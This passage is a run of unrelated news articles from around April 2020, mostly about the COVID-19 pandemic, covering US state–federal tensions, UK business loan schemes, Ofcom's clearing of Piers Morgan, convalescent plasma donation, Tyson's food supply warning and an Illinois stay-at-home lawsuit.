across the country to ensure the very best care for Australians is not "stockpiling", it is the prudent following of national COVID-19 response plans, ensuring every hospital has enough medicines to operate ventilated beds should demand increase,' she said. As of Tuesday, there have been 6,728 cases of COVID-19 in Australia, which have resulted in 84 deaths. Suing and Wooing Trump More Flies with Honey Mutually Assured Lawsuits Maybe it was inevitable. In recent years, states have pursued policies entirely separate from Washington, with state officials increasingly belligerent toward the president on a partisan basis.In that context, recent spats between President Trump and a number of Democratic governors arguing over the coronavirus response and sometimes dissolving into name-calling are part of a growing trend in American federalism. The most important venue for the party out of power in the White House has traditionally been Congress, but now the center of resistance is shifting out to the states.In some ways, the opposition to the president becomes states from the other party, said Barry Rabe, a University of Michigan public policy professor. Certainly during the Obama and Trump presidencies, states have been looking for ways to chart their own course as much as possible. In many cases, that involves directly challenging presidents.Most states are now dominated by one party or the other. During the Obama presidency, Republicans controlled a majority of states, free to pursue their priorities on issues such as taxes, abortion restrictions and labor laws.During the Trump presidency, Democrats have staged a comeback. They now control both the governorship and the legislature in 15 states triple their low ebb, following the 2016 elections. That has allowed them to expand voting rights, address climate change, raise minimum wages and abolish the death penalty.So long as you have divided government in Washington, then the states are an increasingly important political and policy base for the other party, said Timothy Conlan, a federalism expert at George Mason University.Governors are well-placed to be active. Their response to the coronavirus has driven up their individual approval ratings, in many cases into the 70s and 80s. Their complaints that Trump was slow off the ball in dealing with the pandemic perhaps naturally led them not only to ramp up their own efforts but to form alliances as well. There are regional groups of governors primarily but not entirely Democratic who have banded together on coronavirus and economic strategies in the Midwest, Northeast and the West, with Colorado and Nevada joining the latter group on Monday.For all that, governors including most Democrats have been careful to temper their criticism of Trump with thanks for his help. Unlike Democratic state attorneys general, who have made lawsuits against Trump a primary line of business, governors recognize that there are inevitably things their states will want from the federal government. Governors, along with other state and local officials, are hoping for a massive fiscal bailout from Washington.Insults may be fun and satisfy partisans, but theyre not a good negotiating tool.Even when they formed these regional cooperatives, obviously its very implicit that this is a criticism of the federal government, but they were generally pretty mild in their criticism of the Trump administration, said Paul Nolette, a political scientist at Marquette University. The governors realize that we can criticize the Trump administration, but if we criticize too much, there are no ventilators or equipment to California.It used to be rare for states to band together and sue the federal government. The trend accelerated during the Obama presidency, when Republican attorneys general sued Washington repeatedly over policies including immigration, environmental regulations and health care. The annual peak of multistate lawsuits with two or more states joining together to sue the federal government was 12, during each of the last two years Obama was in office.That seemed like a lot at the time. The number was quickly dwarfed once Trump took office. Groups of states sued the administration no fewer than 36 times during Trumps first year alone. Theyve filed more than 50 lawsuits together over the past two years, according to Nolette. Thats on top of lawsuits filed by individual states, with AGs in states such as New York, Massachusetts and Washington suing dozens of times each. California Attorney General Xavier Becerra has sued Trump so often that a bot on Twitter keeps track of the action.Theyve lost political and constitutional power under this president, Rabe said. Why wouldnt they come after him?But attorneys are adversarial by their nature. Governors have to play a different game.Its explicitly a win-lose situation for the AGs suing in court, Nolette said. For the governors, they know if they go too far, its going to have an impact on their residents, because the federal government might penalize them.Trump, who is nothing if not transactional, understands this. Earlier this month, he asserted that he could, in effect, order governors to reopen their states, when he claimed the president of the United States calls the shots. The next day, Trump backed away from that claim, but noted that governors would still listen to what he has to say, since every president has the ability to grant favors or take them away.The governors will be very, very respectful of the presidency, Trump said.At times, relations between Trump and various governors has become not just heated but also personal. Trump called Washington Gov. Jay Inslee a snake during a March visit to the Centers for Disease Control and Prevention. He has referred to Gov. Gretchen Whitmer as failing, that woman in Michigan and a halfwit. (On Twitter, he gave her a middle name of Half.) Whitmers set him off by describing the federal coronavirus response as slow and mind-boggling.Trump warned governors in March that theyd better be nice to him if they wanted federal help. Its a two-way street, Trump told Fox News. They have to treat us well, also.Governors who have sometimes lashed out at Trump have mainly been careful to leaven their recent complaints with praise. Gavin Newsom of California, for example, in recent weeks has called Trump thoughtful, responsive and collaborative."Gavin Newsom was very nice today," Trump said last Thursday during his daily news conference.Other governors have essentially given up. J.B. Pritzker of Illinois alternated earlier in the crisis between lambasting Trump and trying to make nice. By April 15, he declared on CNN that his patience had run out. "I've given up on any promises that have been made," Pritzker said. "I hope something will get delivered from the federal government, but I don't expect it anymore."Trump may have taken note. States in general are asking for a federal bailout, but the president singled out Illinois and other Democratic-led states in a tweet on Monday.Why should the people and taxpayers of America be bailing out poorly run states (like Illinois, as example) and cities, in all cases Democrat run and managed, when most of the other states are not looking for bailout help? Trump wrote Contentious relations between Trump and governors are not new. While California has sued Trump repeatedly, his administration hasnt held back. The federal government has sued California over climate-change and clean air policies, its sanctuary law protecting undocumented immigrants and its requirement that presidential candidates unveil their tax returns.Courts arent the only venue in which Trump has challenged states. High-tax blue states such as California, New Jersey and New York all viewed his 2017 tax overhaul, which limited state and local tax deductions on federal returns, as a torpedo aimed directly at them.With his Clean Power Plan, Obama picked a set of states that he rewarded, said Rabe, co-author of a forthcoming book on federalism under Trump and Obama. Trumps evisceration of the Clean Power Plan in some ways empowered states that were his base.Last year, the Trump administration sued California over its cap and trade deal with Quebec, saying the state had overstepped its authority by entering into an international agreement. The California-Quebec deal is the remnant of the Western Climate Initiative, which began in 2007 and at various points encompassed seven states and four Canadian provinces. It was not entirely a coincidence that the memberships of the regional coronavirus initiatives mirrored climate pacts in the West, Midwest and Northeast.Theres a recognition that these places are tied together, says Patrick Egan, a New York University political scientist. Even if this (coronavirus response) were being more coordinated at the federal level, there would still be a lot of good government reasons for these arrangements to be forming.There have been interstate compacts throughout American history. Traditionally, one of the main ways policies spread from state to state was by taking the shortest path, with neighboring states copying directly from each other. Now, with most states controlled entirely by one party or the other, policies generally flow from red state to red state, or blue to blue. Partisan organizations the Republican and Democratic associations of governors and attorneys general have increasingly become the focal point of where interstate cooperation has been taking place, said Conlan, the GMU professor.Disputes between the states and Washington certainly predated Trump and will continue after he leaves office. But the particular dynamics of this moment have put governors and the president on a collision course.During the campaign, Trump will undoubtedly train fire on Nancy Pelosi and Chuck Schumer, the top Democratic congressional leaders, but he might try to use governors as a pinata as well. This is going to be part of the Republican playbook in the fall, to blame the Democrats for the high incidence of this epidemic in their states, Egan said.The regional alliances between governors on coronavirus response may not prove enduring, but it speaks to their growing recognition that they can band together, whether on a regional or partisan basis, to address problems and points of mutual concern.What I think is likely is that we see governors coming out of the coronavirus feeling their oats and testing their powers, Rabe said. Many of them have seen skyrocketing approval and popularity. Have Sheriff Offices in North Carolina, possibly even Beaufort County's Sheriff Office, become too political in the discharging of their sworn constitutional duties? No, the sheriff is a constitutional officer. Yes, the Sheriff Office, on strong occasion, often reverts back to political patronage in the dispensation of their sworn constitutional duties. T he UK government is trying to help businesses, from startups to large firms, ride out the coronavirus crisis. The situation continues to evolve, with trade bodies from various industries continuing to lobby for more help from politicians. Financial help could evolve and change, but as at April 28, here is a look at what assistance you may be able to get. Coronavirus Business Interruption Loan Scheme (CBILS) This is available for SMEs through more than 40 accredited lenders. Firms with a turnover of up to 45 million can get up to 5 million through various forms, such as overdrafts and invoice finance. Banks get a government-backed guarantee for the loan repayments to encourage more lending. Bank lobby group UK Finance said if a business is eligible, then the government will make a Business Interruption Payment to cover the first 12 months of interest payments. After that period, interest will be payable and lenders will let companies know what the cost of this is. British Business Bank, the government-owned body responsible for overseeing the CBILS, says SMEs should approach lenders directly. Coronavirus Large Business Interruption Loan Scheme (CLBILS) UK-based companies with an annual turnover of over 45 million can apply if they have not already received funding via the Bank of Englands Covid-19 Corporate Financing Facility. Businesses facing cash flow difficulties that make sales of 45 million per year can apply for up to 25 million. Those with turnover in excess of 250 million can try for up to 50 million. The government provides lenders with an 80% guarantee on individual loans. Applicants should contact lenders directly. Covid-19 Corporate Financing Facility Under this proposal, aimed at companies that make a material contribution to the UK economy, the Bank of England will buy short-term debt from large companies. That helps firms if they are affected by a short-term funding squeeze. Businesses that can participate would typically be UK incorporated, and have a significant number of employees here. They should be able to demonstrate they were in sound financial health prior to the virus outbreak. Details of who to contact at various banks can be found here on UK Finances website: https://www.ukfinance.org.uk/covid-19-corporate-financing-facilities Future Fund This could be used to help startups and tech firms. The government said innovative companies can get access to funding starting at 125,000, and going up to 5 million. It can be either paid back or converted into equity in future, allowing the taxpayer to share in potential increases in value of the businesses. Among the eligibility criteria is that firms must have previously raised at least 250,000 in equity investment from third-party investors in the last five years. The fund, which will launch in May, will be delivered in partnership with the British Business Bank. Coronavirus Bounce Bank Loan UK-based small and medium-sized firms hurt by business disruption can borrow between 2,000 and 50,000. The government will guarantee 100% of the loan and there wont be any fees or interest to pay for the first 12 months. The government will look to work with lenders to agree a low rate of interest for the remaining period of the loan. This scheme launches on May 4. Small Business Grants Fund and The Retail, Hospitality and Leisure Grant Fund This scheme is delivered by local authorities if you are eligible, your council will be in touch with you to arrange payment. The Chancellors grants packages include a number of measures. For those in the retail, hospitality and leisure sectors, eligible businesses with a property that has a rateable value of up to and including 15,000 will receive a grant of 10,000. Those with a property that has a rateable value of over 15,000 and less than 51,000 will receive a grant of 25,000. Details can be found here https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/878082/small-business-grant-and-retail-leisure-hospitality-grant-guidance-for-businesses-v2.pdf Google Hangout is also free, but only 25 people can join a video call. You can upgrade to the basic plan, which allows for up to 250 participants per call (which you can access using a 14-day free trial). Facebooks livestream function is free and does not limit the number of participants and allows for up to eight hours of livestreaming. Skypes group video option is free, but it only allows for up to 50 people. Apples Group FaceTime is also free, and allows up to 32 people, but guests must have an Apple device (an iPhone, iPad, or iPod touch) to join. Depending on the service you use, you may be able to preserve the video on the platform or on YouTube enabling you and your guests to watch it in the future at any time. Work Out the Logistics Theres a lot that goes into livestreaming a wedding, said Caroline Creidenberg, the founder and chief executive of Wedfuly, a Denver-based online wedding planning company. Its not as simple as pressing a button and letting the camera roll. Jolie Behrns-Vitale, 35, and Brad Kelly, 36, who livestreamed a wedding ceremony at their home in Detroit, invited guests to join their celebration via livestream using the Joy app. They married March 28 after canceling their wedding, which was scheduled for the same date, at an art gallery in the city. The couple encountered technical issues during their livestream. Zoom has a 40-minute timeout when you use the free version, so we did the first half of our wedding ceremony and right when I was about to say my vows everyone got kicked off, said Ms. Behrns-Vitale, a data analytics director at a retail company. We were able to get everyone back on fairly quickly, but it wasnt the smoothest transition. To avoid technology hiccups, Ms. Creidenberg suggests couples ask someone to manage their livestream and oversee tasks such as muting guests while the couple exchanges vows. We run a rehearsal the morning of or the day before the ceremony so that couples can make sure their camera is set up properly and the audio is working correctly, she said. Piers Morgan has been cleared by TV watchdog Ofcom for his 'combative' interviews with government ministers that he claims are helping 'fewer people die' amid the coronavirus outbreak. The Good Morning Britain host, 55, attracted more than 3,000 complaints from two interviews with care minister Helen Whately earlier this month. Almost 600 viewers also complained about another interview with Health Secretary Matt Hancock on April 16. Piers Morgan said today of his clearing: 'I want our government to succeed. We do this challenging everyday with ministers to help them make better decisions, so that fewer people die' However, Ofcom today announced: 'It is clearly in the public interest that broadcasters are able to hold those making political decisions to account.' Piers grilled Ms Whately about the number of NHS and care workers who have so far died from Covid-19 and accused her of 'massively understating' the effects of the virus. Ofcom today announced: 'It is clearly in the public interest that broadcasters are able to hold those making political decisions to account' In the interview Ms Whately claimed that 76 NHS and care workers had died from the disease, to which Piers retorted: 'You see these numbers again, are completely wrong. 'The real figure of all the people who work in the NHS and care homes who have died is actually 111.' On Good Morning Britain today Piers said of the watchdog investigation: 'They have not held up any of the complaints. I'm glad about that. 'Freedom of speech matters and journalists doing their job matters. Getting the government to think about every decision they are taking matters, holding them to account matters. 'We do our job they do theirs. But we are all on the same side here and we shouldn't mistake challenging government's with wanting government to fail. 'I want our government to succeed. We do this challenging everyday with ministers to help them make better decisions, so that fewer people die. 'We are on the same side against the same enemy. It's not a referendum, its not an election, its one virus against the world.' Almost 600 viewers also complained about another interview with Health Secretary Matt Hancock on April 16 Health Secretary Matt Hancock was challenged by the MailOnline columnist on whether he would volunteer for a salary reduction during an interview on ITV's Good Morning Britain. During the exchange on April 16, Morgan was also angered when Mr Hancock claimed the Government was prepared for the pandemic, telling the politician: 'Stop playing that game with me, Mr Hancock. You're buying yourself a bit of time.' Morgan said he would have 'admired' Mr Hancock more if he would have just admitted that the Department of Health 'had not been prepared' for the impact the coronavirus pandemic has had on the National Health Service. He added: 'Your resolute refusal to concede you made any mistakes here grates with me and misjudges the public mood'. Piers wrote on Twitter to announce he had been 'emphatically cleared' by the watchdog The pair continued to clash as Morgan chastised Mr Hancock, reminding him that he runs the show after Mr Hancock urged him to 'let him speak', during the interview. It comes as Piers Morgan today called the PPE scandal unveiled by the BBC's Panorama last night a 'national disgrace' and accused Safeguarding minister Victoria Atkins of laughing when he was interviewing her. Morgan asked Ms Atkins why the UK had downgraded Covid-19 from HCID, which is the high consequence infectious category. The minister then appeared to smirk and said: 'I am not a scientist Piers.' He interjected: 'Well you can laugh. I don't know why you all keeping laughing when I talk about this. It's not funny is it? Look you just laughed again.' He added that Ms Atkins appeared to know 'nothing' about why the decision was taken to downgrade Covid-19. Ms Atkins responded that she was on the programme to talk about the domestic abuse bill, and that the government is 'following the scientific advice.' Piers Morgan accuses Safeguarding minister Victoria Atkins of laughing throughout interview Piers Morgan today called the PPE scandal unveiled by the BBC's Panorama last night a 'national disgrace' and accused Safeguarding minister Victoria Atkins of laughing when he was interviewing her. Morgan asked Ms Atkins why the UK had downgraded Covid-19 from HCID, which is the high consequence infectious category. The minister then appeared to smirk and said: 'I am not a scientist Piers.' He interjected: 'Well you can laugh. I don't know why you all keeping laughing when I talk about this. It's not funny is it? Look you just laughed again.' He added that Ms Atkins appeared to know 'nothing' about why the decision was taken to downgrade Covid-19. Ms Atkins responded that she was on the programme to talk about the domestic abuse bill, and that the government is 'following the scientific advice.' He then accused the minister of downgrading the virus so they didn't have a legal obligation to give health workers 'the right amount of PPE kit.' He added that Ms Atkins appeared to know 'nothing' about why the decision was taken to downgrade Covid-19. Advertisement In a statement released today, Ofcom said Morgan is 'well-known for his combative interviewing style' and viewers would expect him to challenge senior politicians. An Ofcom spokesman said: 'We assessed a number of complaints about Piers Morgan's conduct while interviewing politicians about the UK's response to the coronavirus public health crisis. 'Piers Morgan is well-known for his combative interviewing style and viewers would expect him to challenge senior politicians and hold them to account. His guests were given adequate opportunity to put their points across and counter the presenter's criticisms. 'In Ofcom's view, in line with freedom of expression, it is clearly in the public interest that broadcasters are able to hold those making political decisions to account, particularly during a major national crisis, such as the coronavirus pandemic.' Piers wrote on Twitter to announce he had been 'emphatically cleared' by the watchdog: 'BREAKING NEWS: I've been emphatically cleared by Ofcom of treating Government ministers 'unfairly' during this crisis. 'Verdict: ''Viewers would expect him to challenge senior politicians and hold them to account". 'Thank you to everyone that supported me.' Ofcom said it received 1,981 complaints following Morgan's interview with Ms Whately on April 15. A further 1,246 complaints were made following the minister's Good Morning Britain appearance on April 22. Morgan defended the first interview, saying it was not as 'uncomfortable' as the conditions for the carers on the front line of the coronavirus crisis. During an animated interview, he asked Ms Whately for the number of health workers and care workers who had died from the illness. She accused him of 'shouting at me and not giving me a chance to answer your questions' and 'attempting to score points'. Good Morning Britain presenter Piers Morgan called the PPE scandal unveiled by Panorama a 'national disgrace' and accused Safeguarding minister Victoria Atkins of laughing Some viewers accused Morgan of 'bullying' the politician while others praised him for 'demanding answers'. During Mr Hancock's appearance on Good Morning Britain, the minister accused Morgan of constantly interrupting him. Ofcom said it received a further 266 complaints from seven of Morgan's political interviews during April. The Good Morning Britain host, 55, attracted more than 3,000 complaints from two interviews with care minister Helen Whately (pictured) earlier this month On April 22, following his interview with Helen Whately, Piers tweeted: 'Apparently nearly 2,000 people have now complained to Ofcom about me grilling care minister Helen Whately too 'unfairly' when she couldn't answer even basic questions. 'If you think I should continue grilling ministers in the way I've been doing, please tell Ofcom. Thanks.' The watchdog was then inundated with responses from Piers's supporters and were forced to tweet: 'Dear Piers, We're usually happy with you keeping us busy. 'But right now we're struggling to keep up after you asked your followers to contact us. 'This means we may fail to help the people that need us most - such as the vulnerable or elderly. 'So could you please help us out and go easy on the mentions? Any help appreciated.' Piers responded to say: 'My apologies, I underestimated the scale of public support.' ALBANY About two weeks ago Joe Hunziker was among a small but growing number of people who were eligible to donate plasma to people sick with COVID-19. The 22-year-old lab technician at St. Peters Hospital in Albany fit all the criteria: He had fallen ill with the disease and had a test to prove it; plus he had since recovered and had a second test to confirm the virus was really out of his system and he was otherwise healthy. He initially got the second test to give his coworkers peace of mind about him returning to work. But he had also recently seen on the news that his employer was looking for donations of plasma the liquid portion of blood thats mostly made of water and carries critical cells, proteins and electrolytes throughout the body. For people whove recovered from COVID-19, the disease caused by the novel coronavirus known as SARS-CoV-2, that plasma also contains an army of antibodies that are specially trained to fight off the virus. Scientists and doctors are hopeful that for people whose bodies are having a hard time fighting off the virus, a transfusion of antibody-rich plasma from those already recovered will do the trick. So on April 16, Hunziker got a blood screen and was matched to two coronavirus patients at St. Peters. I work in health care so it seemed the obvious thing to do, he said. After the match, I said OK, Im able to donate and I will donate. Where to get tested for COVID-19 in the Capital Region Latest coronavirus-related cancellations, postponements The latest coronavirus numbers in NY Sign up for the Times Union coronavirus newsletter Full coronavirus coverage He ventured over to the American Red Crosss Albany site on Everett Road and sat down for the approximately 40-minute procedure. Blood was drawn from one of his arms and sent through a plasmapheresis machine that uses a centrifuge to separate out the plasma from his red blood cells. The red blood cells were returned to him. The plasma, which takes on a yellow hue once separated from the rest of the blood, was bagged and sent to St. Peters for use in COVID-19 patients. It didnt really hit me until I was driving away, Hunziker said. I thought of how Id feel if it was someone in my family sick with this, and I felt very proud and humbled to be able to potentially help someone with a donation. It made me very emotional. Its history in the making and I hope it does somebody good. Doctors dont really know yet whether plasma is helping coronavirus patients. But unlike hydroxychloroquine an antimalarial drug that experienced a lot of early hype as a potential treatment option against COVID-19 thanks in large part to President Donald Trump enthusiasm for convalescent plasma therapy, as it is called, remains high in the medical field. Our enthusiasm for hydroxychloroquine is diminishing rapidly, said Dr. Jorge Cerda, chief of St. Peters department of medicine and principal investigator who directs the hospitals convalescent plasma therapy program. We think, and we cant quantitate it, but we think that (plasma) makes much more sense. Why? There is a history of using plasma in desperate situations like this one. Doctors and scientists have been using some version of plasma therapy to treat infectious diseases since at least the late 19th century. Also known as passive immunization or antiserum therapy, it was used around the turn of the 20th century to treat diphtheria and in 1918 helped in the fight against the Spanish flu. Over the years it would also be used to treat measles, polio, pneumococcus, Haemophilus influenzae and meningococcus. Its one of the oldest ways in which people treated infectious problems before there were antibiotics or antiviral treatments available, Cerda said. Thats one reason why enthusiasm remains high, as the race to develop an effective vaccine and cure for COVID-19 is expected to take many more months if not years. Hospital systems across the Capital Region including Albany Medical Center, St. Peters Health Partners, and Ellis Medicine began seeking plasma donations and using the therapy earlier this month. St. Peters began considering its use when it started to get a surge of transfers from overwhelmed hospitals in Queens, Cerda said. The hospital system began contacting employees and patients who had tested positive for the coronavirus and recovered, and asking if theyd be interested in making a donation. It had to get approval from the Mayo Clinic, which runs a convalescent plasma program and was designated a lead institution for coordinating access to the therapy. Albany Medical Center set up a similar, locally coordinated system under the oversight of the Mayo Clinic. It launched and advertised a special phone number for potential donors to call and be screened for eligibility. That number has received more than 1,000 calls to date, said Dr. Marc Judson, chief of Albany Meds division of pulmonary and critical care medicine. My philosophy is we give it to everyone we possibly can, he said. We dont know yet if this therapy is best when someone is already overwhelmed with disease or when someone isnt overwhelmed by disease but is in the hospital and decompensating. As interest in the therapy has grown nationwide, the Red Cross has centralized the process for donation and people who have recovered from the virus are urged to visit https://www.redcross.org to learn more about potentially donating plasma. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. At St. Peters, 14 patients have received it so far, including seven at St. Peters Hospital in Albany and seven at Samaritan Hospital in Troy. At Albany Med, 29 patients have received it, while at Ellis, three patients have received it so far. Locally, doctors are hesitant to say whether plasma appears to be working or not, citing the many factors that could be at play behind a patients recovery. But they offered anecdotal observations. In general patients are getting better, Cerda said. But it is usually not a dramatic response because by the time they get here, they are awfully sick. In some cases its like the Lazarus effect they revive and are no longer sick. But most of the time you have a horrendously sick patient who gets a little bit better one day, and a little bit better the next day. Judson said theres really no way of determining whether the therapy works until a much larger pool of people receive it and are monitored for outcomes. If a patient gets this therapy and gets better, it may have everything to do with the therapy or it may have nothing to do with the therapy, he said. There are so many factors in determining a patients outcome there are so many unanswered questions. One reason Cerda is hesitant to declare plasma effective has to do with when it is administered. Hospitals are trying a variety of possible treatments, including the drug remdesivir, which is seeing promising results in several clinical trials underway nationwide. Depending on a patients symptoms and condition, their doctor may decide to try them on remdesivir first, he said, in which case they are watched for signs of improvement over a five-day period. If they dont progress, then doctors may try the plasma in a last-ditch effort, he said. If at that point they improve, he said, it would be hard to know whether it was the plasma or remdesivir that was responsible, or even the bodys own immune system. St. Peter's is working to develop an algorithm, he said, that it hopes will help determine when to administer certain treatments and in which patients. The reality is were driving blindly up to a certain extent because we dont know what is the ideal timingTheres a lot of questions in the treatment of this disease, he said. One roadblock to plasma donations has been the requirement for a second COVID test. If a person has recovered from the illness and its been within 14 to 27 days of their last symptoms, they must receive a second diagnostic test to make sure the virus is out of their system. At least half the time, the virus is still showing up, local officials said. In Albany Meds case, its been about 60 to 70 percent of the time, Judson said. Cerda said he believes the virus the tests are detecting is likely dead and no longer infectious, but to err on the side of caution they are ruling those donors out. After 14 days everybody assumes the disease is gone, he said. But the answer is that 50 percent of those people two weeks later are still positive so they cannot donate so my duty, which I dont enjoy at all, is to contact those potential donors who are still positive and say, You know what Mr. Smith, you are still positive, therefore No. 1 you cannot donate and No. 2 you have to stop working and go back into quarantine. However, once someone has gone 28 days without COVID-19 symptoms, they are able to donate plasma and the second test is no longer required. The potential donor must still provide proof that they were diagnosed with and had a positive COVID-19 test in order to qualify. Anyone interested in donating can visit https://www.redcross.org. In Albany Meds case, interested donors are still welcome to call 518-262-9340 to be screened over the phone. SBU stops illegal export of components to armored vehicles from Ukraine to Asian countries in Boryspil SOfficers of the Security Service of Ukraine (SBU) have identified and stopped an attempt to illegally export military equipment to Asian countries at Boryspil International Airport, the SBU's press center said. "Agents and investigators of the security service found out that the malefactors organized a scheme for the supply of military components for Russian-made weapons to ultimate customers in the Asian countries as civilian goods. The transfer was carried out without obtaining the necessary permissions and approvals from the State Service of Export Control using the international passenger air transportation channel," the SBU said in the statement. Thus, during the special operation at Boryspil International Airport, law enforcement officers seized various units for armored vehicles in the baggage of a nonresident. The malefactors planned to take them out as auto parts along with sets of contractual and technical documentation. The criminal proceedings have been started on this fact under Article 333 (violation of the procedure for international transfers of goods subject to the State Service of Export Control) of the Criminal Code of Ukraine. Pretrial investigation is continuing to establish the sources of origin of military units. Despite the threat of COVID-19 to housing prices, Vancouver homes will remain far out of reach of average Canadian households, according to a RE/MAX analysis. Given the current trajectory of the market, and the other factors at play within Vancouver, the fall-out is expected to be minimal, RE/MAX said recently. Unfortunately for prospective home buyers, this means that we may not see the downward pressure on prices that would have made the Vancouver real estate market more accessible. The city might encounter a slight speed bump in the markedly lower number of wealthy immigrants entering the market. Australians are turning to comfort foods like butter chicken and Pad Thai during the coronavirus lockdown and eating dinner earlier than ever before, according to Uber Eats. The restaurant delivery service has been tracking its customers orders since the COVID-19 pandemic hit Down Under in February and has made a number of interesting discoveries about the way we like our takeaway food. National searches for breakfast and brunch are soaring on the Uber Eats app, up nearly 100 percent from the same time last year, and 'comfort food' and 'dessert' are now some of our most frequent searches. Ccomfort food' and 'dessert' are now some of our most frequent searches on Uber Eats This has replaced the search term 'vegan', which is categorically down since social distancing began. Uber Eats has also noticed Australians are looking for more everyday essentials on the app, like bread, eggs and toilet paper, with searches up by more than 60 per cent since February. Full cream milk continues to be a popular go-to nationwide, with Caltex's Star Mart Full Cream Milk the most ordered everyday essential in Victoria and South Australia; a trend mirrored with BP's Whole Milk, being the most popular everyday item in New South Wales, Queensland and Western Australia. What are Uber Eats customers ordering? * Comfort foods and desserts are high on every Australian's list right now * They are also selling plenty of everyday essentials, like bread, milk, eggs and toilet paper, which is up 60 per cent since the start of isolation. * Families are ordering meals in earlier than ever before, with dinnertime starting at around 6pm. * The new restaurant tipping feature on the app, which was only introduced in April, has already seen 17,000 restaurants receive a tip. Advertisement Families are ordering their dinner meals earlier than ever before with deliveries more concentrated around 6pm than the usual dining spread at 8pm. This is believed to be due to the lack of commute home from work, with plenty of Australians staying in their houses to work. Melbourne's most popular meal from independent restaurants is the Halal Snack Pack, a trend mirrored by the Gold Coast, Geelong, Adelaide - which call it 'load your own' - and Canberra. While those in Brisbane are ordering in a butter chicken and Sydneysiders are opting for a Pad Thai. Families are ordering their dinner meals earlier than ever before with deliveries more concentrated around 6pm than the usual dining spread at 8pm Hobart bucks the trend with sustained activity towards healthier search terms. Customers are showing their deep appreciation for local restaurants and delivery partners during this period of lockdown with tipping up overall for delivery partners. The new restaurant tipping feature, which was only introduced in April, has already had 17,000 restaurants receive a tip. Uber Eats has matched these tips dollar for dollar, turning $1 million tips into a $2 million payment for restaurants in the first few weeks since the program went live. The chairman of the worlds second largest processor and marketer of chicken, beef, and pork says Americas food supply chain is breaking under the strain of the COVID-19 outbreak. In a full-page ad which appeared today in The New York Times, The Washington Post and The Arkansas Democrat-Gazette, John Tyson said his company is meeting the challenges but the nations food supply is vulnerable as meat processing plants are shuttered by the pandemic, and farmers are forced to thin herds that they cant sell. As pork, beef and chicken plants are being forced to close, even for short periods of time, millions of pounds of meat will disappear from the supply chain, Tyson said. As a result, there will be limited supply of our products available in grocery stores until we are able to reopen our facilities that are currently closed. Tyson has several facilities in Alabama, including a blend mill in Cullman. Coronavirus cases have been reported in Marshall County at Tyson and Pilgrims Pride poultry plants, while a Wayne Farms processing plant in Albertville reported 75 positive cases and one death. Beef and pork plants have been hit especially hard nationally, with more than 700 cases coming from a single plant in South Dakota. Tyson closed its largest pork processing plant in Iowa last week after an outbreak among employees. At the same time, Tyson said that the U.S. faces a serious food waste issue" as food banks around the country are struggling with demand with more than 26 million Americans filing for unemployment in the last two months. Farmers across the nation simply will not have anywhere to sell their livestock to be processed, when they could have fed the nation, Tyson said, stating that millions of chickens, pigs and cattle will be left out of the food chain due to the closure of processing facilities. In his statement, Tyson said the company has installed more than 150 infrared walkthrough temperature scanners in its locations, supplied workers with face coverings, and instituted daily deep cleaning and sanitizing. The company has also waived certain co-pays and deductibles for doctor visits and telemedicine, as well as the waiting period to qualify for short-term disability, so workers can immediately be paid if they get sick. Poultry in Alabama brings in about $15 billion in revenue a year and represents almost 66 percent of the states annual farming revenue. More than 86,000 Alabamians are employed on chicken farms, in processing plants and related industries. Despite the stress, analysts say Alabamas poultry industry should remain steady. But the industry as a whole is struggling to deal with the pandemic. The U.S. Department of Labor and the Centers for Disease Control today released a set of guidelines for the meat and poultry processing industry in order to keep the food supply going while mitigating the risk of spreading COVID-19. The Food Safety and Inspection Service of the U.S. Department of Agriculture said the recommendations should remain in place throughout the pandemic and to the extent that companies must reduce or alter capacity, split shifts, or add additional processing days... The CDC says meat and poultry processing workers may be at risk from coronavirus through close contact with coworkers, or through contaminated surfaces or objects, such as tools, workstations, or break room tables. Theres also a risk in shared spaces like locker rooms. or ride-sharing and car pools, and frequent contact with fellow workers outside the plants. The Retail, Wholesale and Department Store Union (RWDSU), which represents poultry workers as well as a host of other occupations, said the Occupational Safety and Health Administration and the CDC have failed working people during the pandemic. The union said some poultry companies have had regular calls with its representatives during the outbreak on safety issues and provided workers with personal protective equipment, additional partitions and social distancing measures. However, more workers will die if significant improvements arent made, the union says. Our members are scared to go to work, yet they do it because they need to provide for their families," RWDSU President Stuart Appelbaum said. But they shouldnt be expected to be putting their lives on the line when they show up for work - they never signed up for that. Illinois Governor Appeals Judges Stay-at-Home Ruling Illinois Gov. J.B. Pritzker filed an appeal on Tuesday after a judge ruled against an extension of Illinois stay-at-home order for a Republican state lawmaker. Pritzker is attempting to reverse a ruling handed down on Monday by Clay County Circuit Judge Michael McHaney, who issued a temporary restraining order on the extension of the states lockdown measures. By this interlocutory appeal, Defendant requests that this court reverse and vacate the circuit courts order of April 27, 2020, dissolve the temporary restraining order, and grant any other appropriate relief, according to the appeal filed by Pritzker. It came after Illinois state Rep. Darren Bailey filed a restraining order, arguing that Pritzker didnt have the authority to extend his stay at home order beyond the initial 30-day period. McHaney agreed and reversed Pritzkers order, prompting the governor to express his dismay in a news conference while saying he will move to reverse the order before Friday. This past week, we discovered this Pandemic Influenza Preparedness and Response Plan, which is law, and this is our answer. This is the law that we should follow instead of listening to one person make up his own rules. Thats the problem, Bailey told WGN-TV, which also reported on Pritzkers move to reverse the order. Chicago Mayor Lori Lightfoot tours the COVID-19 alternate care facility constructed at the McCormick Place convention center in Chicago, Illinois on April 17, 2020. (Tyler LaRiviere Pool/Getty Images) On Monday, Pritzker said that his office is going to work to reverse the order. We are certainly going to act in a swift action to have this ruling overturned, the governor told reporters on Monday. The governor said he would continue to issue new health directives until the lawsuit is resolved. Representative Baileys decision to go to the courts is an insult to all Illinoisans who have been lost during this COVID-19 crisis. Its a danger to millions of people who might get ill because of his recklessness, Pritzker said Monday, according to NBC Chicago. Disasters dont evaporate on a 30-day timeframe. Legislators took this into account when they wrote this law. We will fight this lawsuit to the furthest means possible. Illinois public health agency reported a 1,980 additional CCP (Chinese Communist Party) virus cases as of Monday. Fifty deaths were reported, bringing the total to around 2,000. Under the latest order extension, Illinois would allow for some outdoor activities, and many previously barred surgeries and some medical operations would be able to proceed again, it was reported. Some retailers can reopen in order to fill online orders or pick them. The governors order will also require face coverings for anyone over the age of 2, Fox32 in Chicago reported. The Supreme Court on Monday asked the central government to examine the feasibility of implementing the one nation one ration card scheme during the Covid-19 lockdown so as to alleviate the hardships faced by migrant labourers who have been stranded in other states due to the lockdown. A three-judge bench, headed by Justice NV Ramana, passed the order on a plea by one Reepak Kansal, who had highlighted 